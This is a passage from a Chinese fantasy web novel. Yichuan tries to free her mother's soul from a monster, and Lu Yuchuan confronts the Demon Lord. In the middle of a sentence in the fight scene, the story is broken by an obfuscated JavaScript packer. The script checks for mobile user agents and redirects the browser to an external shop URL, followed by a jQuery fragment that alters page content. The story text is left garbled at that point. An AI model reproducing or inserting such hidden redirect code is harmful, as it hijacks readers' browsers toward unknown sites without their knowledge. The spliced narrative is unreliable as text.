二人就此分别。
魔域中,除万魔窟没有魔族敢靠近,其余任何地方都可能有魔族的存在。
对于普通魔族,凭借现在的宜川倒也不是不能对付,只是她现在一心念着母亲,忍不了任何事情来打搅她。
于是她将研究木块的地点选在了弈天君先前所待着的石洞。
她翻身又进万魔窟,谨慎地观察着万魔窟内的情况。
那些怪物没有爬出来,看来和她想的一样,那些怪物只会在深处活动,石洞的位置对于他们而言太靠上了。
不过为何那些怪物不愿到上面来?
上面和下面有哪些区别……
宜川第一时间想起下面那些浓厚难闻的气体,每呼吸一口都仿佛是对肺部的凌迟。
她看着手中的木块,若是将怪物放出来,会不会对怪物有伤害?她母亲还在里面呢。
里面的怪物现在又是什么情况,木块结实,从外表瞧普普通通,压根看不出里面的怪物情况,那怪物会不会伤势过重死了?若是怪物死了那她母亲怎么办?
宜川忍不住胡思乱想,打开木块的手跃跃欲试。
不行!不能这么莽撞!
另一个声音在心中这么对她说着。
这怪物被抓入木块时虽然虚弱,可现在也过去了一段时间,怪物本就不能用一般思维去对待,怪物可能死了可能依旧虚弱,但也可能已经恢复如初,等她打开木块便趁机将她杀害。
在打开木块之前,谁也不知道里面的怪物的情况。
她可没有找死的打算,毕竟和路屿川约好了要回去的。
宜川思索着,将视线挪到先前锁着弈天君的锁链上。
那些锁链上刻着阵法,而下面也绘了阵,若是修改一番没准还能再用。
宜川放下木块,从储物戒中取出匕首便开始研究起了阵法。
那些古怪的文字在她眼中已经不算是多么难懂了,毕竟之前每个晚上都要被按着学一个时辰,还要被路屿川时不时地抽查一番,虽然她时常摸鱼划水,但也是有学到一番真功夫的。
她握着匕首,将锁链上的阵法雕琢,又用本源魔气重新刻画地上的阵法,做完一切后时间不知道过去了多久,魔域就是一个这样没有日夜的地方。
她认真检查一番,确认是没有问题后才郑重地将木块放在阵法中央。
会再次见到吗?母亲。
宜川右手掐诀放在胸前三拳的位置,张口念动咒语。
木块上散发出微微的光亮,怪物的形状在其中显现。
宜川的一只手已经扣在了剑上,她呼吸放缓等着怪物的反应。
“嗷——”怪物的长啸显出虚弱。
它没有第一时间朝宜川冲来,几十双眼睛或东或西地打量着周围,其中属于的一双在看着她。
是的,看着她,而不是盯着她。
那是属于母亲的眼睛。
那双眼睛没有怪物的狰狞,虽然它染着血,泛着黑,但宜川依旧能感受到里面传来的温柔。
她忍不住了,声音变了调:“阿娘!”
这声音一出,怪物才反应过来,剩余的那些眼睛纷纷转向看她。
宜川立即警惕,浑身毛骨悚然,握着剑的手用力几分,另一只手则早已捏成结印状。
沙哑的声音:“魔气!”
怪物朝她的方向而来,宜川立即催动法阵。
“噌——”结界瞬间展开,怪物“咣——”一声狠狠撞在结界之上。
“阿娘,你能听见我讲话吗?”宜川牢牢看着属于母亲的那张脸。
怪物眨眼了,宜川呼吸一轻,唇角忍不住扬起:“阿娘!我会救你出来的!”
怪物一次一次地拍击着结界,宜川变换收拾,本源魔气如蛇一般钻入结界,将怪物的四肢捆绑,剩余一道魔气高悬在空中。
宜川盯上了离母亲最远的那颗脑袋。
魔气瞬间如刀而入,砍下了那一刻头颅,在头颅还未落地之时,宜川便用灵气将其接住。
头颅离开结界被送到她的面前。
怪物头颅似乎还不敢相信,漆黑的眼睛收缩着,鲜血滴滴答答地淌到地上。
肉眼可见的,怪物的头颅萎缩了。
宜川盯着头颅,等着它的反应。
她并不希望头颅萎缩,这样代表着砍断并不能将个体与整体分离。
头颅彻底消失了,缩成了一颗黑色的气珠,宜川盯着珠子沉思。
然而下一刻,那气珠炸开,宜川一时不察,眼前一黑,手指下意识地结印加持怪物身下的阵法。
无论如何,结界不能破。
她的世界陷入了黑暗之中,记忆汹涌而来。
————
魔域天地一片猩红,路屿川疾速奔跑着,朝着阵眼的方向而去。
那里是他们离开魔域的锚点。
倏然,他的脚步停下了。
浓雾四起,能见度骤然下降,在雾气茫茫之中,前方模模糊糊地出现了一个黑影。
路屿川扣紧剑柄,随时打算出剑。
对面的气息十分强大,浓厚,带着绝望的味道。
他隐约有了猜想,不由苦笑,没想到自己的运气这么差。
魂体在渐渐消散,现在还出现了这么一只拦路虎,可能他要食言了。
啧,明明宜川难得答应的。
真是,让人烦躁啊。
盯着那个黑影,路屿川眼底的温度愈加寒冷。
在他盯着黑影的同时,魔尊站在浓雾之中也盯着他。
沙哑的声音,宛如被千百次碾过的砂砾:“是你啊。”
猩红的眼睛露出玩味,他踏着步伐走出了浓雾,露出那张非人的脸:“我听过你的名字,在——”
他笑,獠牙无处可放:“宜川口中。”
路屿川微垂眼皮。
“你知道吗,宜川是我派到你身边的人。”魔尊笑容大盛。
“她可不是什么孤女散修,她是我的人,靠近你的每一步都是有计划的。”
路屿川的唇角轻动,眼中一片冷淡。
忽然,魔尊不知道像是触发了什么,上气不接下气地哈哈大笑:“哈哈哈哈哈——想到你一直被蒙骗——哈哈哈哈哈,有趣吧,现在是不是震惊地说不出话了?”
他继续:“纵然宜川现在背叛了我,也抹不去先前的不纯,你们玄道修士应当最厌恶这个吧?”
好吵啊。
路屿川调整呼吸,减缓魂体的消散速度。
他面若冰霜,未见波澜,然而手中剑已出鞘,剑气如长虹贯日,迅雷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147289|181599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不及掩耳之势地朝魔尊涌去。
——好快的剑。
先前一直未与他正面对上,未曾想他一个年轻后生,实力竟然比当年遇见的那些修士更甚。
魔族张开血盆大口,硬是将那剑气吞之入腹。
“好凌厉的剑气。”他一边咀嚼一边评价。
路屿川见此状,眉心微拧,手中的剑几不可见的顿了。
镇魔剑已经归为,此刻的魔尊应当十分虚弱,为何灵剑对他无效。
路屿川没再轻易出剑,视线远眺扫了眼阵眼方向,离他不远,若是全力以赴几息之间便能到那。
尽快他努力控制,魂体的消散速度不可逆,依旧愈来愈快,不出所料,若是一个时辰内,他还不能回到□□之中,恐怕便会葬身魔域。
得想办法破局。
“其实。”他开口,“你方才说的那些,我早就知道了。”
魔尊眯起眼睛。
“在我第一眼见到宜川的时候就知道有异了。”剑横在面前,遮住他半张脸,露出凌厉的眼。
魔尊问:“那你为何会和她待在一起,甚至被她带走了镇魔剑。”
“剑最终不是在我们手中吗?”路屿川道,横着的剑在半空中发出争鸣。
下一刻,剑光大耀,魔尊措不及防地被迫眯起了眼。
他挥手展开打量魔气防御。
然而剑意并未在所料的时间袭来,空中的气息变化,他察觉不对,睁眼时未看见路屿川的身影。
“人呢!”他瞳孔皱缩。
而路屿川已经接着魔尊闭眼的时间,全力朝阵眼的方向跑去,这回他不在顾忌活动时对魂体的损耗。
“站住!”冰冷刺骨的寒意从脊背升起。
路屿川用尽全力朝边上扑去翻滚停下,方才所站之地几乎被夷为平地,森森死气在土地上泛出。
“我说你可以走了吗?”
路屿川抬头便对上了那双猩红的血眸,不知已经盯着他看了多久。
他的身体有些擦伤,方才情况紧急他甚至无法调整一个能让身体缓冲的动作。
这便是魔尊的实力吗,难怪先前宜川提起魔尊时,脸上总是有着恐惧。
在没有镇魔剑的加持之下,路屿川清楚自己和魔族并不能交手几招,这并非是实力的压制,而是普通灵气对于魔尊而言并无作用,或许有那也只是微小的作用。
他盯上他了,虽然离阵眼只有几步之遥,但也很难抵达了。
路屿川握紧剑,调整姿势起身迎战。
魔尊狰狞轻笑:“哼,你的实力尚能入我的眼,若是愿意接受魔气,也不是不能成为我的部下。”
“做梦。”路屿川回应。
浓厚的魔气刃朝他袭来,被他用剑弹开,发出清脆的声响回荡在魔域。
“只有两个选择,一是投靠我——”魔尊的话还未说完,便被路屿川打断。
“我选二。”
“很好,二是死。”七八条魔气从魔尊背后出现,张牙舞爪。
它们在同一时刻朝路屿川袭来,噌噌的剑鸣声不断地在空气中回荡,路屿川在一条又一条魔气中来回穿梭,在浓厚的黑气中撑出了一片属于灵气的纯净之地。
“我不会死,今日若是必有一人需要赴死,那人定然是你。”